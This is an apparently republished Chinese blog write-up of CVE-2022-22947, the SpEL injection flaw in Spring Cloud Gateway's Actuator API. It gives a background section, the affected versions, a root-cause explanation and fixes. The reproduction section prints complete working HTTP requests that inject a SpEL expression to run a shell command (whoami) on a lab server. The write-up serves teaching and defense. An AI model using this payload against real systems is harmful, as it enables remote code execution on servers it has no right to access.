Spring Cloud Gateway RCE
目錄- Spring Cloud Gateway RCE
- 一、基本介紹
- 二、漏洞復現
- 三、原理分析
- 四、修復方法
一、基本介紹
CVE編號:CVE-2022-22947
?Spring Cloud Gateway是Spring中的一個API網關,其3.1.0及3.0.6版本(包含)以前存在一處SpEL運算式注入漏洞,當攻擊者可以訪問Actuator API的情況下,將可以利用該漏洞執行任意命令,
Spring Cloud Gateway:
是Spring Cloud微服務的一個網關組件,
1、路由(Route)
2、斷言(Predicate)
3、過濾器(Filter)
Spring Boot Actuator:
是Spring Boot框架中的一個監控組件,
Gateway配置可以使用兩種方式:
1、通過yml或者properties固定配置
2、通過actuator介面動態配置
Actuator操作Gateway介面串列:
| id | HTTP Method | 描述 |
|---|---|---|
| globalfilters | GET | 回傳全域Filter串列 |
| routefilters | GET | 每個路由的Filter |
| routes | GET | 路由串列 |
| routes/[id] | GET | 指定路由的資訊 |
| routes/[id] | POST | 創建路由 |
| refresh | POST | 重繪路由快取 |
| routes/[id] | DELETE | 洗掉路由 |
二、漏洞復現
版本要求:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
程序:
1、啟動Spring Cloud Gateway服務
2、添加過濾器(POST)
POST /actuator/gateway/routes/hacker HTTP/1.1
Host: 192.168.142.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 331
Content-Type: application/json
{
"id": "hacker",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
3、重繪過濾器(POST)
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.142.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
4、訪問過濾器ID(GET)
http://192.168.142.133:8080/actuator/gateway/routes/hacker
Result中有命令執行回傳的資訊,
三、原理分析
1、開啟Acutator,可以通過介面列出路由(包括過濾器),如:actuator/gateway/routes
2、可以通過/actuator/gateway/routes/{id}創建路由
3、通過/actuator/gateway/reflesh重繪路由
4、當路由帶有惡意的Filter,里面的spEL運算式會被執行
個人理解:
Spring Cloud GatewayRCE漏洞主要是使用了Actuator介面對Gateway動態配置,而且Actuator介面可以被其他人訪問,可以創建Gateway中的路由規則,攻擊者對Filter中寫入惡意spEL運算式,服務器會去決議spEL運算式,造成命令執行,
四、修復方法
1、更新升級Spring Cloud Gateway版本
2、在不考慮影響業務的情況下禁用actuator介面
management.endpoint.gateway.enable=false
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551478.html
標籤:其他
上一篇:[筆記] ELMO, BERT, GPT 簡單講解 - 李宏毅
下一篇:返回列表
